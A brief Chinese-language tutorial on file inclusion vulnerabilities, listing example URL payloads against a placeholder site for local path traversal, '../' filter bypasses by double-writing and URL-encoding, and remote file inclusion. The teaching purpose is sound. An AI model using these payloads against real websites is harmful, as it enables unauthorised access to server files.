【漏洞】文件包含漏洞

前言

部分网站有访问本地文件的权限,可以借助这个权限访问其他敏感文件

文件包含漏洞

  • 例如某网站的请求有文件包含漏洞http://example.com/?page=1.php

本地文件包含

  • 首先测试phpinfo.php是否在当前页
1
http://example.com/?page=phpinfo.php
  • 如果敏感文件不在当前目录下,可以尝试访问其他磁盘路径

绝对路径

Windows
1
2
3
http://example.com/?page=C:\phpinfo.php

http://example.com/?page=file:///C:\phpinfo.php
Linux & MacOS
1
2
3
http://example.com/?page=/phpinfo.php

http://example.com/?page=file:///phpinfo.php

相对路径

Windows
1
http://example.com/?page=..\phpinfo.php
Linux & MacOS & Windows
1
http://example.com/?page=../phpinfo.php
相对路径双写绕过
  • 如果网站中做了../..\过滤,可以使用双写绕过,每一组..././表示一组../
1
http://example.com/?page=..././phpinfo.php
URLEncode绕过
  • 如果网站中只做了../..\过滤,也可以使用URLEncode编码绕过,每一组..%2F表示一组../
1
http://example.com/?page=..%2Fphpinfo.php

远程文件包含

1
http://example.com/?page=http://example.com

完成

参考文献

哔哩哔哩——千锋教育网络安全学院